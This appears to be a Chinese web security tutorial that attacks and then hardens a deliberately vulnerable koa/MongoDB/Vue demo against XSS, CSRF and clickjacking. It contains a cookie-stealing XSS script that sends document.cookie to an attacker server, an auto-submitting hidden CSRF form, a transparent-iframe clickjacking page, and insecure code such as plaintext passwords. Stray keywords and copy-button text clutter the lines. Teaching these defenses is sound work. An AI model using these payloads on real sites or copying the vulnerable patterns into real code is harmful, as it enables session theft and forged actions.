本篇文章是《琢·磨》系列技術分享第16講,分享常見Web安全攻防演練,包括XSS、CSRF、點擊劫持,會從攻擊和如何防守兩個方向分別進行分享; 本篇文章使用的是koa + MongoDB + Vue實現的demo邏輯。javascript
XSS (Cross-Site Scripting),跨站腳本攻擊,由於縮寫和 CSS重疊,因此只能叫 XSS。 跨站腳本攻擊是指經過存在安全漏洞的Web網站,讓已註冊用戶在站點內運行非法的非本站點的HTML標籤或JavaScript,進行的一種攻擊。 簡單的來講,就是在站內運行非本站的javascript腳本,所受到的攻擊。css
常見的XSS攻擊分類有兩種:html
一、反射型:經過url參數直接注入前端
二、存儲型:存儲到數據庫,用戶讀取時注入vue
在看代碼以前,咱們先來看一下demo提供的功能:java
下面咱們看一下,本次分享所使用到的demo: 首先是常規程序的主入口,index.js
ios
const Koa = require('koa');
// koa-router來處理路由
const router = require('koa-router')();
const session = require('koa-session');
// 用來解析post請求的數據,會掛在ctx.request.body中
const bodyParser = require('koa-bodyparser');
// 用來作靜態服務的處理
const static = require('koa-static');
// 用來處理渲染前端模板,會在ctx中掛在render方法
const views = require('koa-views');
// 數據庫鏈接文件
require('./utils/mongoose');
// 兩個表的模型聲明
const UserModel = require('./models/user');
const CommentModel = require('./models/Comment');
const {
checkPassword
} = require('./utils/checkLogin');
const app = new Koa();
app.keys = ['some secret'];
// 如下作了上面引入的中間件的初始化
app.use(static(__dirname + '/'));
app.use(bodyParser());
app.use(session({
key: 'koa.sess',
maxAge: 86400000,
httpOnly: false,
signed: false,
}, app));
app.use(views(__dirname + '/views', {
map: {
html: 'handlebars',
}
}));
// 登陸接口
router.post('/login', async (ctx) => {
const {
body: {
username,
password,
}
} = ctx.request;
// 檢驗帳號密碼
if (!(await checkPassword({
username,
password,
}))) {
ctx.body = {
message: '帳號或者密碼不對'
};
return;
}
ctx.session.userinfo = {
username,
password
};
ctx.body = {
message: '登陸成功'
};
})
// 註冊接口
router.post('/register', async (ctx, next) => {
const {
body: {
username,
password,
}
} = ctx.request;
await UserModel.create({
username,
password
});
ctx.body = {
message: '註冊成功',
};
})
// 渲染評論頁面
router.get('/comment', async (ctx) => {
const commentList = await CommentModel.getCommentList();
await ctx.render('comment', {
address: ctx.request.query.address,
commentList: JSON.parse(JSON.stringify(commentList)),
});
});
// 評論接口
router.post('/api/comment', async (ctx, next) => {
const {
body: {
comment,
}
} = ctx.request;
await CommentModel.createComment({
username: ctx.session.userinfo.username,
comment,
});
ctx.body = {
message: '評論成功',
};
})
// 渲染登陸頁面
router.get('/', async (ctx) => {
await ctx.render('index');
});
// 簡單處理一下評論須要登陸的邏輯
app.use(async (ctx, next) => {
if (ctx.url.indexOf('comment') > -1) {
if (!ctx.session.userinfo) {
ctx.redirect('/');
} else {
await next();
}
} else {
await next();
}
});
app.use(router.routes());
app.use(router.allowedMethods());
app.listen(3000);
複製代碼
接下來看一下model
裏的邏輯,顯示user.js
mongodb
// 這裏使用了mongoose庫作MongoDB的操做
const mongoose = require('mongoose');
// 這裏定義了表的數據模型
const schema = mongoose.Schema({
username: String,
password: String,
});
// 這裏掛了兩個方法,獲取用戶和設置用戶
schema.statics.getUser = function(username) {
return this.model('user')
.findOne({ username })
.exec();
};
schema.statics.createUser = function({ username, password }) {
return this.model('user')
.create({
username,
password,
});
};
// 這裏對錶與模型作了關聯
const model = mongoose.model('user', schema);
module.exports = model;
複製代碼
下面是comment.js
,基本同上:數據庫
const mongoose = require('mongoose');
const schema = mongoose.Schema({
username: String,
comment: String,
});
schema.statics.getCommentList = function(username) {
return this.model('comment')
.find({})
.exec();
};
schema.statics.createComment = function({ username, comment }) {
return this.model('comment')
.create({
username,
comment,
});
};
const model = mongoose.model('comment', schema);
module.exports = model;
複製代碼
而後是utils
裏提供的工具函數, 主要是判斷帳號密碼是否一致和鏈接數據庫:axios
// checkLogin.js
const UserModel = require('../models/user');
exports.checkPassword = async function ({ username, password }) {
const res = await UserModel.getUser(username);
if (res && res.password === password) {
return true;
}
return false
}
複製代碼
// mongoose.js
const mongoose = require('mongoose');
mongoose.connect('mongodb://127.0.0.1:27027/loginshare', {
useNewUrlParser: true,
useUnifiedTopology: true,
}).catch(error => {
console.log('數據庫error', error)
});;
const conn = mongoose.connection;
conn.on('error', () => console.log('數據庫鏈接失敗'));
conn.once('open', () => console.log('數據庫鏈接成功'));
複製代碼
以後是views
中提供的兩個頁面:
<!-- index.html 登陸註冊頁面 -->
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="./views/axios.min.js"></script>
<script src="./views/vue.js"></script>
</head>
<body>
<div id="app">
<div>
<input v-model="username">
<input v-model="password">
</div>
<div>
<button v-on:click="login">登錄</button>
<button v-on:click="register">註冊</button>
</div>
</div>
</div>
<script> var app = new Vue({ el: '#app', data: { username: '', password: '' }, methods: { async login() { await axios.post('/login', { username: this.username, password: this.password }) location.href = '/comment?address=北京' }, async register() { await axios.post('/register', { username: this.username, password: this.password }) } } }); </script>
</body>
</html>
複製代碼
<!-- comment.html 評論頁面 {{{}}} 三個中括號爲handlebars模板引擎的語法,會將render渲染頁面的第二個參數中的數據注入到頁面中 -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="./views/axios.min.js"></script>
<script src="./views/vue.js"></script>
</head>
<body>
<div id="app">
<div>歡迎來自<span style="color: red">{{{address}}}</span>的用戶,歡迎評論</div>
<input type="text" v-model="value">
<button v-on:click="comment">評論</button>
<div>評論列表</div>
<!-- handlebars中的循環語法 -->
{{#each commentList}}
<div>{{{comment}}}</div>
{{/each}}
</div>
<script> var app = new Vue({ el: '#app', data: { value: '默認值', }, methods: { async comment() { await axios.post('/api/comment', { comment: this.value, }); location.href = '/comment?address=北京'; } } }); </script>
</body>
</html>
複製代碼
以上是常規應用程序的代碼,接下來咱們看一下攻擊程序的代碼,hack
,先只看一下index.js
中的邏輯,其餘的等演示攻擊的時候再展現:
const Koa = require('koa');
const static = require('koa-static');
const chalk = require('chalk');
// 將打印的log變爲紅色
const log = contents => {
console.log(chalk.red(contents));
};
const app = new Koa();
app.use(static(__dirname + '/'));
// 主要的邏輯就是這個中間件,這裏打印了一下請求裏攜帶的cookie
app.use(async (ctx, next) => {
log('cookie: ' + ctx.request.query.cookie);
await next();
});
app.listen(4000);
複製代碼
看完上面的效果演示及代碼,咱們先來看一下XSS反射性攻擊的作法。
咱們能夠看到,在url的address
中咱們輸入一個字符串,那麼這個地點就會渲染到頁面中。那麼這種地方就可能會有被攻擊的風險。那若是咱們輸入的是javascript腳本,它會不會執行呢?
能夠看到<script>
標籤中的alert
成功執行了;那麼若是我把hack
中的攻擊腳本注入到url中呢? 咱們先來看一下hack
中的script.js
這個攻擊腳本作了什麼操做:
// 這裏的邏輯很簡單,就是咱們經常使用的發送埋點的一種方式,可是他攜帶了咱們頁面中的cookie
const img = document.createElement('img');
img.src = `http://localhost:4000?cookie=${document.cookie}`;
複製代碼
咱們再來看一下注入這個攻擊腳本會發成什麼:
咱們會看到咱們本站cookie,被hack網站拿到了,那這時候hack就能夠拿着咱們的cookie模擬咱們的登陸態進行登陸:
反射性XSS攻擊,須要用戶點擊相應的攻擊連接才能進行攻擊,效率上相對仍是偏低,那麼咱們能夠不可考慮將腳本注入到頁面中,讓全部訪問該頁面的用戶都能運行咱們的攻擊腳本呢?那麼就有了存儲型,存儲到數據庫,用戶讀取時注入腳本。
接下來咱們將腳本經過評論注入到數據庫中:
咱們能夠看到在被注入數據庫後,全部訪問該頁面的用戶都會受到攻擊。
XSS就是運行javascript
腳本,那麼一切javascript
能作的事情它均可以作,例如:
一、竊取 Cookie 信息,模擬用戶進行登陸,而後進行轉帳等操做
二、使用 addEventListener 監聽用戶行爲,監聽鍵盤事件,竊取用戶的銀行卡密碼等。併發送到攻擊者的服務器
三、經過修改 DOM 僞造假的登陸窗口,欺騙用戶輸入用戶名和密碼等生成浮窗廣告等
四、修改 URL 跳轉到惡意網站
一、對輸入內容進行轉義
二、 CSP( Content Security Policy) 創建白名單
三、 httpOnly cookies
1.使用模板引擎提供的轉義語法,對用戶所輸入的內容進行轉義,這裏咱們用handlebars
提供的{{}}
雙括號替代括號
// app/comment.html
<div id="app">
<div>歡迎來自<span style="color: red">{{address}}</span>的用戶,歡迎評論</div>
<input type="text" v-model="value">
<button v-on:click="comment">評論</button>
<div>評論列表</div>
<!-- handlebars中的循環語法 -->
{{#each commentList}}
<div>{{comment}}</div>
{{/each}}
</div>
複製代碼
能夠看到script
腳本被轉成了字符串。
2.使用xss
庫對輸入內容進行轉義,這個的好處是,有一些白名單裏的標籤不會被轉義,好比咱們演示中的H1
標籤:
// app/index.js
const xss = require('xss');
...
router.get('/comment', async (ctx) => {
const commentList = await CommentModel.getCommentList();
await ctx.render('comment', {
address: ctx.request.query.address,
// 這裏咱們用xss處理一下咱們輸出的內容
commentList: JSON.parse(xss(JSON.stringify(commentList))),
});
});
複製代碼
能夠看到script
腳本被轉義了,而H1
標籤沒有。
先來簡單介紹一下CSP
CSP是內容安全策略 (CSP, Content Security Policy) 是一個附加的安全層,本質上就是創建白名單,開發者明確告訴瀏覽器哪些外部資源能夠加載和執行。咱們只須要配置規則,如何攔截是由瀏覽器本身實現的。咱們能夠經過這種方式來儘可能減小XSS攻擊。
那麼接下來咱們用CSP
防護一下XSS
攻擊:
// app/index.js
// 這裏咱們新寫一箇中間件
app.use(async (ctx, next) => {
// 這裏咱們只容許加載3000端口下的script腳本
ctx.set('Content-Security-Policy', "script-src http://localhost:3000");
await next();
});
複製代碼
咱們能夠看到前端頁面這個時候4000的攻擊腳本就沒有加載進來,並在控制檯有提示咱們配置的csp規則。
httpOnly
,這是預防XSS
攻擊竊取用戶cookie
最有效的防護手段。Web
應用程序在設置cookie
時,將其 屬性設爲HttpOnly
,就能夠避免該網頁的cookie
被客戶端惡意JavaScript
竊取,保護用戶cookie
信息。
// app/index.js
app.use(session({
key: 'koa.sess',
maxAge: 86400000,
// 這裏咱們設置httpOnly爲true,只容許cookie在http請求中使用
httpOnly: true,
signed: false,
}, app));
複製代碼
咱們能夠再次訪問時,hack
網站就拿不到咱們的cookie
信息了。
以上就是XSS
攻擊的攻擊和防護手段了,接下來咱們看一下CSRF
的攻防手段。
CSRF (cross site request forgery) 跨站請求僞造,它利用用戶已登陸的身份,在用戶不知情的狀況下,以用戶的名義完,成非法操做。
咱們先來看一下hack
中的csrf
攻擊頁面邏輯:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>看小貓咪的網站,實際是CSRF攻擊</h1>
<img src="https://ss1.bdstatic.com/70cFuXSh_Q1YnxGkpoWK1HF6hhy/it/u=3187284430,577053445&fm=11&gp=0.jpg" alt="">
<script> // 咱們插入了一個form表單,在4000的hack網站請求了3000的接口,而且作了數據提交 document.write(` <form name="form" action="http://localhost:3000/api/comment" method="post" target="csrf" style="display: none"> 添加評論: <input type="text" name="comment" value="CSRF攻擊" /> </form> `) var iframe = document.createElement('iframe'); iframe.name = 'csrf'; iframe.style.display = 'none'; document.body.appendChild(iframe); setTimeout(function() { document.querySelector('form').submit(); },1000); </script>
</body>
</html>
複製代碼
下面咱們看一下演示
咱們在演示中能夠看到,咱們在hack
的網站中進行了訪問,雖然咱們沒有去訪問3000的站點,但仍然被hack
網站冒用了信息,被盜用進行了評論,這就是csrf的攻擊手段。它利用用戶已登陸的身份,在用戶不知情的狀況下,以用戶的名義完,成非法操做。
一、攻擊通常發起在第三方網站,而不是被攻擊的網站。被攻擊的網站沒法防止攻擊發生。
二、攻擊利用受害者在被攻擊網站的登陸憑證,冒充受害者提交操做;而不是直接竊取數據。 整個過程攻擊者並不能獲取到受害者的登陸憑證,僅僅是「冒用」。
三、跨站請求能夠用各類方式:圖片URL、超連接、CORS、Form提交等等。部分請求方式能夠直接嵌入在第三方論壇、文章中,難以進行追蹤。
一、驗證referer
二、攜帶token
三、使用驗證碼
咱們在app/index.js加一箇中間件
app.use(async (ctx, next) => {
// 這裏咱們將referer進行輸出
console.log('referer: ', ctx.request.header.referer);
await next();
});
複製代碼
能夠看到咱們能拿到當前的訪問站點是哪一個,而後就能夠設置白名單進行過濾。
這裏的token
就是一段隨機的字符串,在用戶訪問時咱們在頁面中隨機返回一段字符串,在用戶請求的時候,須要攜帶csrf_token
進行驗證。那麼hack
網站在模擬攻擊時,是沒法獲取咱們頁面中注入的csrf_token
的,因此請求會驗證失敗。
// 咱們引用koa-csrf庫,它會在ctx下掛載csrf字段
const CSRF = require('koa-csrf');
...
app.use(new CSRF({
invalidTokenMessage: 'Invalid CSRF token',
invalidTokenStatusCode: 403,
excludedMethods: [ 'GET', 'HEAD', 'OPTIONS' ],
disableQuery: false
}));
...
router.get('/comment', async (ctx) => {
const commentList = await CommentModel.getCommentList();
await ctx.render('comment', {
address: ctx.request.query.address,
commentList: JSON.parse(JSON.stringify(commentList)),
csrfToken: ctx.csrf,
});
});
複製代碼
咱們將生成的csrf_token
掛到頁面中:
// views/comment.html
async comment() {
await axios.post('/api/comment', {
comment: this.value,
_csrf: '{{csrfToken}}',
});
location.href = '/comment?address=北京';
}
複製代碼
能夠看到hack
網站在發送請求的時候,驗證未經過。
csrf
就是在用戶不知情的狀況下,冒用身份作非法操做。那麼咱們最直接的杜絕方法,就是產生人機交互,讓用戶知道當前我要作什麼操做,要幹什麼,從而防範csrf
的攻擊。那麼常見的人機交互方式就是驗證碼的形式了。
以上就是csrf
的攻擊防護手段,接下來咱們分享一下點擊劫持。
點擊劫持是一種視覺欺騙的攻擊手段。攻擊者將須要攻擊的網站經過iframe 嵌套的方式嵌入本身的網頁中,並將 iframe 設置爲透明,在頁面中透出一個按鈕誘導用戶點擊,觸發了不是用戶真正意願的事件。
咱們仍是先來看一下hack
的點擊劫持攻擊代碼:
// hack/click.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style> iframe { width: 800px; height: 300px; position: absolute; top: -0px; left: -0px; z-index: 2; -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); } button { position: absolute; top: 32px; left: 164px; z-index: 1; } img { height: 300px; } </style>
</head>
<body>
<button>查看更多</button>
<img src="https://ss1.bdstatic.com/70cFuXSh_Q1YnxGkpoWK1HF6hhy/it/u=3187284430,577053445&fm=11&gp=0.jpg">
<iframe src="http://localhost:3000/comment" scrolling="no"></iframe>
</body>
</html>
複製代碼
這個攻擊代碼也很簡單,咱們就是講iframe嵌套的網站設置成透明,放在最上層,而後用一個按鈕覆蓋頁面中的操做,在用戶點擊查看更多
圖片的時候,其實是進行了評論操做;
一、DENY: 表示頁面不容許經過 iframe 的方式展現
二、SAMEORIGIN: 表示頁面能夠在相同域名下經過 iframe 的方式展現
三、ALLOW-FROM: 表示頁面能夠在指定來源的 iframe 中展現
X-FRAME-OPTIONS
是一個HTTP
響應頭。這個HTTP
響應頭就是爲了防護用iframe
嵌套的點擊劫持攻擊。 咱們來看一下代碼:
router.get('/comment', async (ctx) => {
const commentList = await CommentModel.getCommentList();
//這裏咱們設置了請求頭,不容許任何頁面將該頁面進行iframe嵌套
ctx.set('X-FRAME-OPTIONS', 'DENY');
await ctx.render('comment', {
address: ctx.request.query.address,
commentList: JSON.parse(JSON.stringify(commentList)),
});
});
複製代碼
能夠看到,這個時候頁面就沒有被iframe加載進來了。
以上就是本期的所有分享了,但願能夠對你們有所幫助!